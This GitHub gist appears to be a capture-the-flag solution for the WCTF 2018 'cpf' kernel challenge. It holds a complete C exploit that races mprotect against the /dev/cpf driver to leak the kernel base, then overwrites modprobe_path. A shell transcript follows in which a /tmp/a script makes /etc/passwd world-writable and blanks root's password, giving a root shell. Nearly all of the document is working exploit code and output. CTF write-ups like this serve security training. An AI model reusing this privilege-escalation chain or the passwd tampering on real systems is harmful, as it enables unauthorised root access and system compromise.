Skip to content

Instantly share code, notes, and snippets.

@hama7230
Last active December 22, 2018 16:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hama7230/07cd52a0e6838ea8e6b562b852e37608 to your computer and use it in GitHub Desktop.
Save hama7230/07cd52a0e6838ea8e6b562b852e37608 to your computer and use it in GitHub Desktop.
WCTF 2018 cpf (made by Cykor)
#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <pthread.h>
#include <unistd.h>
unsigned long kernel_base ;
int fd;
char* addr;
typedef uint32_t __u32;
typedef uint64_t __aligned_u64;
struct cpf_attr { /* anonymous struct used by CPF_PROG_LOAD command */
__u32 prog_type; /* one of enum cpf_prog_type */
__u32 insn_cnt;
__aligned_u64 insns;
__aligned_u64 license;
__u32 log_level; /* verbosity level of verifier */
__u32 log_size; /* size of user buffer */
__aligned_u64 log_buf; /* user supplied buffer */
__u32 kern_version; /* checked when prog_type=kprobe */
__u32 prog_flags;
} attr;
int load_attr(char* buf) {
return ioctl(fd, 0, buf);
}
int dump_attr(char* buf) {
return ioctl(fd, 1, buf);
}
int prog_load(char* buf) {
return ioctl(fd, 7, buf);
}
int race_win = 0;
int flag_m = 0, flag_t = 0;
void *thread() {
while(!race_win) {
flag_t = 1;
while (!flag_m);
mprotect(addr, 0x1000, PROT_NONE);
flag_t = 0;
usleep(1);
mprotect(addr, 0x1000, PROT_READ|PROT_WRITE);
}
}
int main(void) {
pthread_t t;
unsigned long tmp[0xb0/8];
// mmap((void*)addr, 0x1000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
addr = mmap((void*)0xdead0000, 0x1000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
printf("addr = %p\n", addr);
if (addr < 0)
exit(2);
puts("open /dev/cpf");
fd = open("/dev/cpf", O_RDWR);
if (fd < 0)
exit(1);
puts("attempt race condition");
memset(addr, 'a', 0xb0);
memset(tmp, 'b', 0xb0);
pthread_create(&t, NULL, thread, (void*)NULL);
while (1) {
ioctl(fd, 3, 0xdead);
while(!flag_t);
flag_m = 1;
int result = load_attr(addr);
usleep(1);
flag_m = 0;
if (result < 0) {
dump_attr(tmp);
if (memcmp(tmp, "aaaaaaaa", 8)) {
printf("leak value = %p\n", tmp[2]);
kernel_base = tmp[2] - 0xbaa18;
if ((kernel_base & 0xffffff) == 0x000000) {
race_win = 1;
flag_m = 1;
}
break;
}
}
}
pthread_join(t, NULL);
puts("win race condition");
printf("kernel_base = %p\n", kernel_base);
unsigned long modprobe_path = kernel_base + 0x12519a0;
unsigned long prog[] = {0x612f706d742f, 0, 0, 0}; // /tmp/a
attr.prog_type = 1;
attr.license = (long)"hoge";
attr.insn_cnt = 1;
attr.prog_type = 1;
attr.kern_version = 0;
attr.log_level = 9;
attr.insns = &prog;
attr.log_buf = modprobe_path;
attr.log_size = 128;
memset(tmp, 0, 0xb0);
memcpy(tmp, &attr, sizeof(attr));
load_attr((char*)tmp);
prog_load(tmp);
return 0;
}
# ./run.sh
/ $ ./exp
addr = 0xdead0000
open /dev/cpf
attempt race condition
leak value = 0xffffffffaa0baa18
win race condition
kernel_base = 0xffffffffaa000000
/ $ cat /proc/sys/kernel/modprobe
/tmp/a
/ $ echo -ne '\xff\xff\xff\xff' > /tmp/hoge && chmod +x /tmp/hoge
/ $ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/busybox\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /tmp/a && chmod +x /tmp/a
/ $ /tmp/hoge
/tmp/hoge: line 1: ����: not found
/ $ su root
~ # id
uid=0(root) gid=0(root) groups=0(root)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment